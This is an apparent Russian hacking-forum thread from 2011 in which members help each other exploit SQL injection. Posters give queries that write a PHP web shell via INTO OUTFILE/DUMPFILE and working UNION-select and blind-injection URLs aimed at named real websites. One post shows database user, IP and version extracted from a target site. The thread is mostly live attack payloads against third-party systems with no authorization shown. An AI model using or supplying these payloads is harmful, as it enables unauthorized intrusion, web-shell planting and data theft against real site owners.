Ваши вопросы по уязвимостям.

26.10.2011, 13:57

XAMEHA

Новичок

Регистрация: 15.05.2010

Сообщений: 0

С нами: 8417113

Репутация: 0

Цитата:

Сообщение от =Zeus=

Добрый вечер. Пытаюсь научиться скуль-инжектингу. Много читал, раскрутил скулю, все идеально, file_priv Y. Могу прочитать etc/passwd через load_file(). Как теперь залить минишелл? Ведь нужно знать полный путь, чтоб выполнить например такой код:

PHP код:


		
			
[COLOR="#000000"]SELECT '[COLOR="#0000BB"][/COLOR]' into dumpfile '/var/lib/mysql/shell.php' from mysql.user;[/COLOR]

1.from mysql.userидёт до into dumpfile. Далее может идти только комментарий.

Либо ищем раскрытие путей на сайте, либо читаем через load_file каталоги и ищем полный путь к сайту, хотя возможно прав на папки не бует.

В этом случае Можно будет попробовать посмотреть директории, которые могут быть выведены с сервера, но находящийся в этом каталоге и доп. Файлы, которые можно прочитать или создать нужный файл

Цитата:

Сообщение от crackforme

Сорри за нубство мужики
Такой вопрос
1,2,..group_concat(login)...
...concat_ws(login)...
не хочет выполнять как можно обойти фильтр?
пробовал
group_concat(CHAR(108,111,103,105,110))
тоже не работает

А разве это нужные функции, при раскрутке SQL-inj? Если фильтр идёт на них можно будет обойтись и без их использования.

𝕏 Twitter Reddit Telegram Копировать ссылку

26.10.2011, 17:37

aydin-ka

Новичок

Регистрация: 03.05.2009

Сообщений: 7

С нами: 8960082

Репутация: -14

Есть доступ в phpmyadmin

Версия MySQL 5.5.9 как залить шелл?

Какие запросы?

26.10.2011, 17:46

d1v

Новичок

Регистрация: 21.02.2009

Сообщений: 3

С нами: 9061916

Репутация: 0

Цитата:

Сообщение от aydin-ka

Есть доступ в phpmyadmin
Версия MySQL 5.5.9 как залить шелл?
Какие запросы?

select '' into outfile 'абсолютный_путь_до_папки_с_ правами_на_запись/shell.php'

26.10.2011, 20:55

qaz

Познавший АНТИЧАТ

Регистрация: 12.07.2010

Сообщений: 1,546

С нами: 8334326

Репутация: 75

Подскажите почему не выводит названия таблиц

http://goldsauna.ru/articles.html?id=-7%27+union+select+1,2,table_name,4,5+from+informat ion_schema.tables%27

26.10.2011, 21:02

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 542

С нами: 8885780

Репутация: 672

Цитата:

Сообщение от qaz

Подскажите почему не выводит названия таблиц
http://goldsauna.ru/articles.html?id=-7%27+union+select+1,2,table_name,4,5+from+informat ion_schema.tables%27

http://goldsauna.ru/articles.html?id=-7'+union+select+1,2,unhex(hex(table_name)),4,5+fro m+information_schema.tables--+

26.10.2011, 21:09

smirk

Участник форума

Регистрация: 08.09.2011

Сообщений: 137

С нами: 7725206

Репутация: 26

Цитата:

Сообщение от Konqi

http://goldsauna.ru/articles.html?id=-7'+union+select+1,2,unhex(hex(table_name)),4,5+fro m+information_schema.tables--+

да и без hex и anhex все норм выводит...

http://goldsauna.ru/articles.html?id=-7'+union+select+1,2,table_name,4,5+from+informatio n_schema.tables--+

27.10.2011, 00:27

d1v

Новичок

Регистрация: 21.02.2009

Сообщений: 3

С нами: 9061916

Репутация: 0

Цитата:

Сообщение от qaz

Народ, а как ваше можно найти полный путь к файлу на хостинге?

/showthread.php?t=30632

#10

27.10.2011, 20:42

BigBear

Новичок

Регистрация: 04.12.2008

Сообщений: 11

С нами: 9176038

Репутация: 8

Цитата:

Сообщение от root47

http://cod.gamepolis.ru/xlrstats/index.php?func=player&playerid=1 можно ли раскрутить sql in?Если да то как?

Конечно, можно !!!

Но вывода я не нашёл. Так что крутил как Blind SQL.

Там 5 ветка, так что тебе повезло.

Код:

http://cod.gamepolis.ru/xlrstats/index.php?func=player&playerid=1+and+substring((version()),1,1)=5

Выдирай посимвольно через ASCII например вот так:

Код:

http://cod.gamepolis.ru/xlrstats/index.php?func=player&playerid=1+and+ascii(substring((version()),1,1))=53

http://cod.gamepolis.ru/xlrstats/index.php?func=player&playerid=1+and+ascii(substring((version()),2,1))=46

Часть данных:

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]Current User[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]cod4[/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]95.154.113.66

Sql Version[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]5.1.58

Current DB[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]cod4[/COLOR][/COLOR]

Внести депозит

Депозит создан

Вывести депозит